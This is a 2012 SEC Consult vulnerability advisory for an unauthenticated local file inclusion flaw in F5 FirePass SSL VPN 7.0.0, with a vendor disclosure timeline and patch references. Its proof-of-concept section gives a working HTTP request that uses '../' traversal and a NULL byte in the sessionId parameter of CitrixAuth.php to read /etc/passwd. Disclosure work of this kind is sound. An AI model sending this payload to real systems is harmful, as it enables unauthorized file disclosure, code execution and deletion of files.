F5 FirePass SSL VPN 7.0.0 HF-70-6 Local File Inclusion

`SEC Consult Vulnerability Lab Security Advisory < 20121203-0 >  
=======================================================================  
title: Unauthenticated local file inclusion  
product: F5 FirePass SSL VPN  
vulnerable version: <= 7.0.0 HF-70-6  
fixed version: 7.0.0 HF-70-7  
impact: Critical  
homepage: http://www.f5.com  
found: 2012-06-01  
by: S. Viehböck  
SEC Consult Vulnerability Lab  
https://www.sec-consult.com  
=======================================================================  
  
Vendor/product description:  
-----------------------------  
"The FirePass SSL VPN" available as an appliance and in a Virtual  
Edition provide security, flexibility, and ease of use. It grants access to  
corporate applications using a technology that everyone understands: a web  
browser. Users can have secure access from anywhere they have an Internet  
connection, while FirePass ensures that connected computers are fully patched  
and protected."  
  
"FirePass provides robust, secure SSL VPN remote access to business  
applications from a wide range of client devices, including Apple iPhone and  
Windows Mobile devices. Using full-tunnel SSL technology and client access  
policies defined by system administrators, remote clients can log on to  
corporate business applications under pre-defined access permissions and  
client directory control."  
  
URL: http://www.f5.com/products/firepass/  
  
  
Vulnerability overview/description:  
-----------------------------------  
Due to insufficient input validation, an unauthenticated attacker can disclose  
arbitrary local files with the privileges of the webserver. This includes the  
user/administrator database. As the attacker-controlled path is passed to the   
PHP include() function, code execution is also possible.  
Furthermore, the path is then passed to the unlink() function and therefore can  
be used to delete arbitrary files in the filesystem which causes denial of  
service.  
As opposed to some information on the Internet (e.g.  
https://twitter.com/FirePassHF/status/218886584672587776), it is not necessary  
to have Citrix functionality enabled in order to exploit this vulnerability.  
  
  
Proof of concept:  
-----------------  
The flaw exists in the CitrixAuth.php script in the parameter "sessionId".  
  
An attacker can traverse directories with '../' and terminate the path with a  
NULL byte.  
  
The following exploit shows how files can be extracted from the file system:  
  
POST /CitrixAuth.php HTTP/1.1  
Host: hostname  
Content-Type: application/none  
Content-Length: 68  
  
<sessionId>../../../../../etc/passwd </sessionId>  
-> <- NULL byte  
  
  
Vulnerable / tested versions:  
-----------------------------  
The vulnerability has been verified to exist in the Firepass SSL VPN version  
7.0.0, which was the most recent version at the time of discovery.  
  
  
Vendor contact timeline:  
------------------------  
2012-06-05: Contacting vendor security team via email.  
2012-06-07: Response from vendor.  
2012-06-12: Coordination call with vendor.  
2012-06-14: Sent proof of concept exploit via encrypted channel.  
2012 June: Vendor releases HF-388207-1 and informs that solution (=advisory)  
will be published soon.  
2012-08-22: Requesting status of solution.  
2012-08-22: Vendor responds that solution will be published soon.  
2012-10-23: Requesting status of solution.  
2012-10-23: Vendor responds that something went wrong and they will look  
into it.  
2012-11-07: Requesting status of solution.  
2012-11-29: Vendor publishes SOL14046.  
2012-12-03: Public release of SEC Consult advisory.  
  
  
  
Solution:  
---------  
Apply HF-70-7 or HF-388207-1. For detailed information see:  
http://support.f5.com/kb/en-us/solutions/public/14000/000/sol14046.html  
  
Patch information is also available at:  
http://support.f5.com/kb/en-us/solutions/public/13000/800/sol13826.html  
  
  
Workaround:  
-----------  
No workaround available.  
  
  
Advisory URL:  
--------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
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A-1190 Vienna  
Austria  
  
Tel.: +43 / 1 / 890 30 43 - 0  
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EOF S. Viehböck / @2012  
`